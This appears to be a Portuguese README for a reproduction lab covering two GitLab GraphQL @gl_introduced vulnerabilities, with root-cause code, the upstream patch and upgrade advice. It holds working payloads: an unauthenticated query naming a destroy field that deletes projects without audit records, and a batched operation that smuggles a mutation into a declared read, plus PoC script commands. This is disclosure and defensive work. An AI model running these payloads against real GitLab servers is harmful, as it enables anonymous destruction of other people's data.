
Fornece exploits de PoC e análise de causa-raiz para duas vulnerabilidades da diretiva `@gl_introduced` do GitLab GraphQL: execução de método não autenticada e troca de documento em lote, com patch upstream e evidências ao vivo.
@gl_introduced do GitLab GraphQLUm laboratório de reprodução para dois bugs relacionados no recurso de filtro de versão do GraphQL do GitLab (a diretiva @gl_introduced). Ambos vivem na mesma área do recurso, são corrigidos pelo mesmo patch upstream e ambos permitem que uma requisição GraphQL alcance caminhos de código que ela nunca declarou:
destroy) no modelo por trás de qualquer tipo GraphQL, apenas nomeando um campo que não existe e marcando-o com @gl_introduced.| Afetado | 18.2 → <18.11.11, 19.0 → <19.0.8, 19.1 → <19.1.6, 19.2 → <19.2.4 |
| Corrigido | 18.11.11, 19.0.8, 19.1.6, 19.2.4 |
| Alvo do laboratório | gitlab/gitlab-ce:19.2.2-ce.0 (última build anterior à correção) |
| Gatilho | diretiva @gl_introduced do GraphQL, sozinha ou dentro de um lote |
docker-compose.yml Live vulnerable target (GitLab CE 19.2.2), :8929
patch-19.2.2-to-19.2.4.diff The upstream fix, version_filter only (the whole bug in ~60 lines)
harness/
live_test_fallback.sh PoC #1 -- live HTTP exploit, fallback-field method execution (unauthenticated)
live_test.sh PoC #2 -- live HTTP exploit, cross-operation document swap
run_poc.rb PoC #3 -- standalone, isolates the swap in plain graphql-ruby
loader.rb Loads the real 19.2.2 (vuln) or 19.2.4 (patched) version_filter source
Dockerfile Minimal ruby:3.3 runner for PoC #3 (no full GitLab needed)
src/
common/ Unchanged upstream files (shared by both variants) + demo schema
vuln/ Real 19.2.2 source of the files the patch touched
patched/ Real 19.2.4 source of the same files
evidence/
live_vuln_fallback_field.txt Captured output of PoC #1 against the live target
live_vuln.txt Captured output of PoC #2 against the live target
standalone_vuln.txt Captured output of PoC #3 (vuln)
standalone_patched.txt Captured output of PoC #3 (patched)
Tudo sob src/ é código-fonte upstream verbatim, nunca reimplementado — o loader sobrepõe src/vuln ou src/patched sobre src/common.
Gitlab::Graphql::VersionFilter::FutureFieldFallback permite que uma consulta faça referência a um campo que ainda não existe em um tipo sem que a requisição falhe — pensado para implantações contínuas (rolling deploys), onde o schema de um nó antigo ainda não tem um campo que um nó mais novo já entrega. Sua sobrescrita de get_field verifica se o campo solicitado está ausente e se a requisição está sinalizada com contain_future_fields; se estiver, devolve um campo sintético em vez de lançar erro:
# src/vuln/.../future_field_fallback.rb
def get_field(field_name, context = GraphQL::Query::NullContext.instance)
field = super
return field unless future_field?(name: field_name, field: field, context: context)
fallback_field(name: field_name)
end
def fallback_field(name:)
GraphQL::Schema::Field.new(
owner: self,
name: name,
type: GraphQL::Types::Boolean,
fallback_value: nil
)
end
O problema: este GraphQL::Schema::Field é construído sem método resolver, sem classe resolver e sem bloco. Então a resolução de campo padrão do próprio graphql-ruby é aplicada (gem graphql 2.6.3, lib/graphql/schema/field.rb):
inner_object.public_send(@method_sym)
@method_sym é o nome do campo, em snake_case — ou seja, exatamente a string que o atacante colocou na consulta. Se o objeto por trás do tipo GraphQL (o modelo ActiveRecord) tiver um método público real, de zero argumentos, com esse nome, o graphql-ruby o chama e retorna seu resultado (coagido ao tipo). fallback_value: nil só se aplica quando o método realmente não existe — e não faz nada para impedir que um método real seja executado.
Então: basta consultar qualquer tipo por um campo com o nome de um método destrutivo real — por exemplo, destroy —, marcá-lo com @gl_introduced para que sobreviva até a execução, e o método será executado.
IntroducedTracer implementa o restante do recurso de filtro de versão em dois hooks de trace do graphql-ruby — parse (uma vez por operação) e execute_query (uma vez por operação). Na build vulnerável, ele guarda seu estado por operação em variáveis de instância simples no objeto de trace:
# src/vuln/.../introduced_tracer.rb
def parse(query_string:)
@original_query_document = super # <-- shared ivar
@contain_future_fields = false
filter = FutureFieldFilter.new(@original_query_document.dup)
filter.visit.tap { @contain_future_fields = filter.contain_future_fields }
end
def execute_query(query:)
return super unless @contain_future_fields
query.instance_variable_set(:@document, @original_query_document) # <-- swap
query.send(:prepare_ast)
query.context[:contain_future_fields] = @contain_future_fields
super
end
O problema: o graphql-ruby compartilha UMA única instância de trace entre todas as operações de uma requisição multiplexada e analisa todas elas antes de executar qualquer uma. Então, em um lote de duas operações:
parse(op1) → @original_query_document = op1_doc, @contain_future_fields = falseparse(op2) → @original_query_document = op2_doc, @contain_future_fields = true
(op2 carrega um campo futuro @gl_introduced)Após a análise, apenas o estado da última operação sobrevive. Então a execução roda:
execute_query(op1) → a flag é true, então o documento de op1 é sobrescrito com op2_doc e re-preparado → o slot de op1 executa a operação de op2.op1 declarou uma leitura; ela executa a escrita de op2.
patch-19.2.2-to-19.2.4.diff corrige ambos:
# future_field_fallback.rb -- give the fallback field an explicit resolver,
# so graphql-ruby never falls through to public_send on the field name
resolver_class: Resolvers::NilResolver
# NilResolver#resolve just returns nil, unconditionally -- no dispatch at all
# introduced_tracer.rb -- key the stashed state by each operation's own
# filtered document instead of one shared ivar
@introduced_tracer_data[filtered_document] = { original_document:, contain_future_fields: }
# ...
doc_data = @introduced_tracer_data[query.document] # no cross-operation bleed
query {
project(fullPath: "root/some-public-project") {
id
destroy @gl_introduced(version: "99.0.0")
}
}
Nenhum cabeçalho Authorization. Uma operação, sem lote. destroy não é um campo real em Project — ele não existe no schema — mas a diretiva faz o FutureFieldFilter removê-lo antes da validação estática e arma contain_future_fields para a execução, onde get_field devolve um campo sem resolver chamado destroy e o graphql-ruby chama project.public_send(:destroy).
Verificado ao vivo (evidence/live_vuln_fallback_field.txt, reproduzido três vezes contra três projetos descartáveis separados): enviado contra um projeto público, a resposta foi {"data":{"project":{"id":"...","destroy":true}}}. Uma verificação REST autenticada de acompanhamento (GET /api/v4/projects/:id) retornou 404 — o projeto realmente tinha sido removido. O log da requisição dessa chamada mostra 9 gravações síncronas no banco e zero novas linhas de AuditEvent: a chamada ignora completamente o Projects::DestroyService (e com ele a trilha de auditoria, webhooks e notificações) — é uma cascata crua de ActiveRecord#destroy invocada diretamente por meio da resolução de campo padrão do GraphQL.
sequenceDiagram
participant A as Attacker
participant C as GraphqlController
participant T as IntroducedTracer (one shared instance)
participant S as StarProject mutation
A->>C: POST /api/graphql [ {query: op1}, {query: op2} ]
Note over A: op1 = query { currentUser { username } } (declared read)<br/>op2 = mutation { starProject(...) { count @gl_introduced(version:"99.0.0") } }
C->>T: parse(op1)
Note over T: @original = op1_doc, future=false
C->>T: parse(op2)
Note over T: @original = op2_doc, future=TRUE (overwrites op1 state)
C->>T: execute_query(op1)
T->>T: op1.@document = @original (op2_doc)#59; prepare_ast
T->>S: run starProject ← smuggled into the read slot
S-->>A: slot 1 returns { starProject: { count } } #59; star state changed
Payload da Op2 — a diretiva @gl_introduced só precisa estar em um campo real para que, no momento da análise, o FutureFieldFilter alterne contain_future_fields e arme a troca:
mutation {
starProject(input: { projectId: "gid://gitlab/Project/1", starred: false }) {
count @gl_introduced(version: "99.0.0")
}
}
Verificado ao vivo (evidence/live_vuln.txt): o slot 1, que declarou query { currentUser { username } }, retorna {"data":{"starProject":{"count":"0"}}} e o contador de estrelas do projeto passa de 1 → 0.
docker compose up -d # first boot runs migrations; wait for healthy (~10 min)
GITLAB_URL=http://localhost:8929 \
GITLAB_TOKEN=<PAT with api scope -- used only to create/verify a disposable project> \
bash harness/live_test_fallback.sh
O script cria um projeto público descartável por meio da API REST autenticada (apenas configuração), envia uma consulta GraphQL não autenticada nomeando um campo destroy marcado com @gl_introduced e depois verifica novamente o projeto via REST autenticado. Ele declara VULNERABLE se o projeto tiver sumido.
GITLAB_URL=http://localhost:8929 \
GITLAB_TOKEN=<PAT with api scope> \
PROJECT_FULL_PATH=root/cve-lab-target \
bash harness/live_test.sh
O script lê o estado inicial das estrelas, envia o lote de duas operações e declara VULNERABLE se o slot 1, que declarou leitura, retornar um payload de starProject (e/ou se o contador de estrelas mudar).
Isola Gitlab::Graphql::VersionFilter em um pequeno aplicativo graphql-ruby para que a troca fique visível sem nenhum ruído do GitLab. Carrega o código-fonte upstream real.
docker build -t cve-2026-19478-poc -f harness/Dockerfile .
docker run --rm cve-2026-19478-poc harness/run_poc.rb vuln # -> VULNERABLE
docker run --rm cve-2026-19478-poc harness/run_poc.rb patched # -> SAFE
Ambos os vetores foram confirmados ao vivo contra gitlab/gitlab-ce:19.2.2-ce.0. Eles têm diferentes superfícies de exposição de autorização porque atingem camadas diferentes da pilha do GitLab.
Sem token, sem lote, uma única consulta. A resposta retorna o resultado do método diretamente ("destroy": true), e o registro subjacente é de fato destruído — confirmado via REST autenticado (404) e por evidências no lado do servidor (zero linhas de AuditEvent, 9 gravações síncronas em uma única requisição), o que significa que ele ignora completamente o serviço normal de exclusão do GitLab. Reproduzido três vezes de forma independente, contra três projetos descartáveis separados. Qualquer tipo GraphQL cujo objeto subjacente exponha um método destrutivo real de zero argumentos é um candidato.
Com qualquer token que tenha escopo api, uma operação que declarou leitura executa uma escrita que nunca solicitou (contador de estrelas 1 → 0, dirigido por um slot tipado como query). Enviada sem token, a troca ainda dispara — o slot de leitura de fato alcança e resolve starProject — mas toda mutação do GitLab herda Mutations::BaseMutation, cujo portão self.authorized? é executado no momento da execução:
Ability.allowed?(context[:current_user], :execute_graphql_mutation, :global)
Para uma requisição anônima, current_user é nil, e GlobalPolicy faz rule { anonymous }.policy { prevent :execute_graphql_mutation }. Uma varredura de 10 arranjos de lote (ordem, diretiva em campo / subcampo / fragmento inline, lotes de 2 e 3 operações) sem autenticação: o slot sequestrado esbarra no portão todas as vezes e o contador de estrelas nunca muda.
Esse portão é específico de mutações — não tem efeito sobre 1a, que nunca toca Mutations::BaseMutation; o campo fallback resolve diretamente contra o modelo como um campo comum de tipo consulta, sem nenhuma verificação de autorização no caminho.
src/common/demo_app.rb não tem nenhuma camada de autorização — sua mutação apenas escreve. Portanto, o PoC #3 demonstra o mecanismo da troca (um slot de leitura executando uma escrita) em uma sandbox sem autenticação. O GitLab real aplica o portão execute_graphql_mutation que a demo omite — especificamente para 1b. Nesta build padrão, uma escrita orientada por mutação sem credenciais não é alcançável apenas via 1b; é alcançável via 1a, que não precisa de mutação alguma.
Atualize para 18.11.11 / 19.0.8 / 19.1.6 / 19.2.4 ou posterior. A correção (veja o diff) faz duas coisas: future_field_fallback.rb dá ao campo fallback um resolver explícito (Resolvers::NilResolver, que sempre retorna nil) em vez de depender do despacho de método padrão do graphql-ruby, fechando 1a; introduced_tracer.rb limita o estado por operação do tracer ao documento de cada operação em vez de uma variável de instância compartilhada, fechando 1b.